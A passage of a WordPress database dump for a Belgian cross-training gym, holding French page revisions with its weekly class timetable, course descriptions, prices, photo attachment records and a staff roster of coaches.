(231, 1, '2013-07-03 19:12:49', '2013-07-03 19:12:49', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Les séances sont composées de différentes phases décrites selon le planning ci-dessous.\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\nUniquement sur rdv\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\nUniquement sur rdv\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Coatching nutritionnel :&lt;/h2&gt;\r\nUniquement sur rdv\r\nRendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 19:12:49', '2013-07-03 19:12:49', '', 11, 'http://www.crosstrainingcenter.be/?p=231', 0, 'revision', '', 0),
(233, 1, '2013-07-03 19:31:37', '2013-07-03 19:31:37', '', 'damien_pierrard-pti', '', 'inherit', 'open', 'open', '', 'damien_pierrard-pti', '', '', '2013-07-03 19:31:37', '2013-07-03 19:31:37', '', 20, 'http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg', 0, 'attachment', 'image/jpeg', 0),
(234, 1, '2013-07-03 19:31:45', '2013-07-03 19:31:45', '', 'guelor-pti', '', 'inherit', 'open', 'open', '', 'guelor-pti', '', '', '2013-07-03 19:31:45', '2013-07-03 19:31:45', '', 20, 'http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg', 0, 'attachment', 'image/jpeg', 0),
(235, 1, '2013-07-03 19:31:52', '2013-07-03 19:31:52', '', 'julie_pierrard-pti', '', 'inherit', 'open', 'open', '', 'julie_pierrard-pti', '', '', '2013-07-03 19:31:52', '2013-07-03 19:31:52', '', 20, 'http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg', 0, 'attachment', 'image/jpeg', 0),
(236, 1, '2013-07-03 19:31:58', '2013-07-03 19:31:58', '', 'julien_meulemans-pti', '', 'inherit', 'open', 'open', '', 'julien_meulemans-pti', '', '', '2013-07-03 19:31:58', '2013-07-03 19:31:58', '', 20, 'http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg', 0, 'attachment', 'image/jpeg', 0),
(237, 1, '2013-07-03 19:32:05', '2013-07-03 19:32:05', '', 'mathieu_gille-pti', '', 'inherit', 'open', 'open', '', 'mathieu_gille-pti', '', '', '2013-07-03 19:32:05', '2013-07-03 19:32:05', '', 20, 'http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg', 0, 'attachment', 'image/jpeg', 0),
(238, 1, '2013-07-03 19:06:30', '2013-07-03 19:06:30', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\nFormateur\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Guélor Luabeya&lt;/h2&gt;\r\nFormateur\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Matthieu Gille&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Bertrand Bauwin&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julien Meulemans&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Baptiste Pitsaer&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Anaïs Gosset&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-v1', '', '', '2013-07-03 19:06:30', '2013-07-03 19:06:30', '', 20, 'http://www.crosstrainingcenter.be/?p=238', 0, 'revision', '', 0);
INSERT INTO `wp_posts` (`ID`, `post_author`, `post_date`, `post_date_gmt`, `post_content`, `post_title`, `post_excerpt`, `post_status`, `comment_status`, `ping_status`, `post_password`, `post_name`, `to_ping`, `pinged`, `post_modified`, `post_modified_gmt`, `post_content_filtered`, `post_parent`, `guid`, `menu_order`, `post_type`, `post_mime_type`, `comment_count`) VALUES
(240, 1, '2013-07-03 19:35:31', '2013-07-03 19:35:31', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-235 alignleft\&quot; alt=\&quot;julie_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot; width=\&quot;180\&quot; height=\&quot;234\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-233 alignleft\&quot; alt=\&quot;damien_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot; width=\&quot;180\&quot; height=\&quot;234\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\nFormateur\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-234 alignleft\&quot; alt=\&quot;guelor-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot; width=\&quot;180\&quot; height=\&quot;235\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Guélor Luabeya&lt;/h2&gt;\r\nFormateur\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-237 alignleft\&quot; alt=\&quot;mathieu_gille-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot; width=\&quot;180\&quot; height=\&quot;233\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Matthieu Gille&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-232 alignleft\&quot; alt=\&quot;bertrand_bauwin-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot; width=\&quot;180\&quot; height=\&quot;234\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Bertrand Bauwin&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-236 alignleft\&quot; alt=\&quot;julien_meulemans-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot; width=\&quot;180\&quot; height=\&quot;234\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julien Meulemans&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Baptiste Pitsaer&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a 